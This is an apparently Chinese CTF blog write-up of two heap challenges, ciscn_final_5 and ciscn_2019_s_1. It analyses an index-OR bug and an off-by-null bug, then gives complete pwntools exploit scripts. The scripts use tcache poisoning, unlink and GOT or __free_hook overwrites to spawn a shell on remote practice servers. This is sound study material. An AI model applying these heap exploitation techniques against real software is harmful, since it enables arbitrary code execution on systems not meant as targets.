  int idx; // [rsp+Ch] [rbp-14h]
  void *buf; // [rsp+10h] [rbp-10h]
  __int64 v5; // [rsp+18h] [rbp-8h]

 printf("index: ");
  idx = read_int();
  if ( idx < 0 || idx > 16 )
  {
    puts("index is invalid.");
    exit(-1);
  }
  printf("size: ");
  size = read_int();
  if ( size < 0 || size > 0x1000 )
  {
    puts("size is invalid.");
    exit(-1);
  }
  buf = malloc(size);
  if ( !buf )
  {
    puts("malloc error.");
    exit(-1);
  }
  printf("content: ");
  read(0, buf, size);
  show_diy((__int16)buf);

可以自定义输入堆的编号,最大可以17个,就感觉有点奇怪。然后以栈上的一个buf来存取分配heap的地址。

result = sub_400AB0((__int64)buf, idx);
  v5 = result;
  for ( i = 0; i <= 16; ++i )
  {
    result = heaplist_idx[i];
    if ( !result )
    {
      heaplist_idx[i] = v5;
      result = i;
      sizelist[i] = size;
      break;
    }
  }
__int64 __fastcall sub_400AB0(__int64 a1, int a2)
{
  return a1 | a2;
}

可以看到以堆地址与堆的id进行以来一个| 运算。然后返回回来给v5,然后在存入bss的一段地址中。算是处理过的堆地址。

尝试研究一下,做完处理是什么样子:

先分配一个堆号为1 和 16的堆块,看下bss里面是存入了什么。

x/30gx  0x6020E0
0x6020e0:       0x0000000000e35270(16)      0x0000000000e35281(0)
In [2]: hex(0x0e35260 | 16)
Out[2]: '0xe35270'

In [3]: hex(0x00e35281 | 0)
Out[3]: '0xe35281'

差不多就是这样,但是也可以发现点异样。因为是| 的逻辑运算,在0-0xf是一个轮回后,到了16就又算是一个轮回。
既然处理过堆地址,那肯定取出来进行操作时,肯定还会再进行处理回来。下面就是注意怎么处理的。

edit

 for ( i = 0; i <= 16; ++i )
  {
    result = get_idx(heaplist_idx[i]);
    if ( result == idx )
    {
      printf("content: ");
      read_diy((void *)(heaplist_idx[i] & 0xFFFFFFFFFFFFFFF0LL), sizelist[i]);
      result = puts("edit success.\n");
      break;
    }
  }
__int64 __fastcall get_idx(char a1)
{
  return a1 & 0xF;
}

可以看到其是依次0-17编号对堆块进行遍历取出,再取出时会对其进行& 0xf的操作来尝试获取堆块的编号。

来测试一下:


In [5]: hex(0x00e35281 & 0xf). #1号堆块的计算
Out[5]: '0x1'

In [6]: hex(0x00e35270 & 0xf) #16号堆块的计算
Out[6]: '0x0'

这就很明显有异样了,申请的是16号堆块其认为是0号堆块。所以申请16号的堆块,其可以用edit(0)来进行编辑16号堆块。

然后看其如何编辑的:

  read_diy((void *)(heaplist_idx[i] & 0xFFFFFFFFFFFFFFF0LL), sizelist[i]);

其是根据bss上存的处理过堆块地址进行一下& 0xFFFFFFFFFFFFFFF0 来进行编辑的。
对于上来就申请了一个16号的堆块,很容易知道其堆块的末3为应该是0x260,但是当时存入的是0x270,尝试进行一下& 0xFFFFFFFFFFFFFFF0

In [7]: hex(0x00e35270 & 0xFFFFFFFFFFFFFFF0)
Out[7]: '0xe35270'

发现并不是从0x260进行编辑,但是同样还是可以编辑同样的size,所以这就造成了溢出,并且是0x10个字节。

利用

  • 释放2个tcache 堆块,并且利用0x10字节,改其中一个堆块的fd,改为free的got位置
  • 申请堆块到free got处,改free 为 puts
  • 构造出一个unsortbin的堆块,然后再申请一个堆块,就会在这个堆块上留下部分的libc地址,然后进行leak
  • 算出system的地址,继续改free got 处为 system,然后free一个带有/bin/sh\x00的堆块,即可拿到shell

exp

from pwn import *
import time
local_file  = './ciscn_final_5'
elf = ELF(local_file)
# context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',27180)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(idx,size,data):
    sla('choice:','1')
    sla('dex',str(idx))
    sla('size',str(size))
    sa('content',str(data))
def free(idx):
    sla('choice:','2')
    sla('dex',str(idx))

def edit(idx,data):
    sla('choice:','3')
    sla('dex',str(idx))
    sa('content',str(data))


add(16,0x18,'sasdasdas')
add(1,0x30,'aaaaaaaa')
add(2,0x30,'aaaaaaaa')
free(2)
free(1)
edit(0,p64(0) + p64(0x121) + p64(0x000000000602010))
add(5,0x800,'aaaaaaaa')
add(6,0x50,'aaaa')
add(3,0x30,' ')
free(5)
add(7,0x90,' ')
add(4,0x30,'aaaaaaaa' + p64(elf.plt['puts']))
free(7)
r()
libc_base = uu64(r(6)) - 0x3ec120
info_addr('libc_base',libc_base)
edit(4,'aaaaaaaa' + p64(libc.sym['system'] + libc_base))
add(9,0x10,'/bin/sh\x00')
free(9)
itr()

由于其确定堆块的特殊性,在申请堆块到free got时,因为其在0x000000000602018,但是在经过逻辑运算处理后,放入bss后,想要再进行操作就有点困难,所以申请到0x000000000602010 就OK了。

ciscn_2019_s_1

分析

保护:

[*] '/ctf/work/buuctf/shuati/ciscn_2019_s_1/ciscn_s_1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Add函数:最多可以申请33个堆,且问你堆的编号,并且根据这个编号作为索引上bss段来存储heap的地址。大小范围在0x7f - 0x100

edit函数:

v0[read(0, (void *)heap[v2], (signed int)len[v2])] = 0;

明显存在着off by null。且有key1控制着,只能编辑2次。

if ( key1 == 2 )
    exit(0);

Show函数:
Key2有值才能用。

利用

  • 由于没有开启pie保护,这样明显可以unlink攻击,申请一个32堆号的堆,大小0xf8,都是越大越好,为了上靠近key1、key2,然后进行控制.

剩下的就很简单了。

exp

from pwn import *
import time
local_file  = './ciscn_s_1'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',29756)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()
def add(idx,size,data):
    sla('show\n','1')
    sla('dex',str(idx))
    sla('size',str(size))
    sa('content',str(data))
def free(idx):
    sla('show\n','2')
    sla('dex',str(idx))
def edit(idx,data):
    sla('show\n','3')
    sla('dex',str(idx))
    sa('content',str(data))

def show(idx):
    sla('show\n','4')
    sla('dex',str(idx))
key2 = 0x6022B8

for i in range(7):
    add(i,0xf8,'aaaaaaaa')

add(7,0xf8,"aaaa")#8
payload = p64(0) + p64(0x32) + p64(0x6021e0 - 0x18) + p64(0x6021e0 - 0x10) + p64(0) * 2 + p64(0x30)
add(32,0xf8,payload)#32
add(8,0x88,"aaaa")
add(9,0xf8,"aaaa")
add(10,0x88,'aaaa')

for i in range(7):
    free(i+1) # 由于32的堆块申请后破坏了0号堆块的在bss上地址的储存
payload = 'a' * 0x80 + p64(0x180)
edit(8,payload)
free(9)
payload = p64(0) * 3 + p64(0x00000000006021c8) + '\x00'  * (0xf0 - 0x8 * 4) + p64(0x0000000400000001)
edit(32,payload)
add(11,0x88,' ')
show(11)
r()
libc_base = uu64(r(6)) - 0x3ebf20
info_addr('libc_base',libc_base)

free_hook = libc_base + 0x3ed8e8
rec = rce18[1] + libc_base
payload = p64(0) * 3 + p64(free_hook)
edit(32,payload)
edit(32,p64(rec))
free(11)
itr()


pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!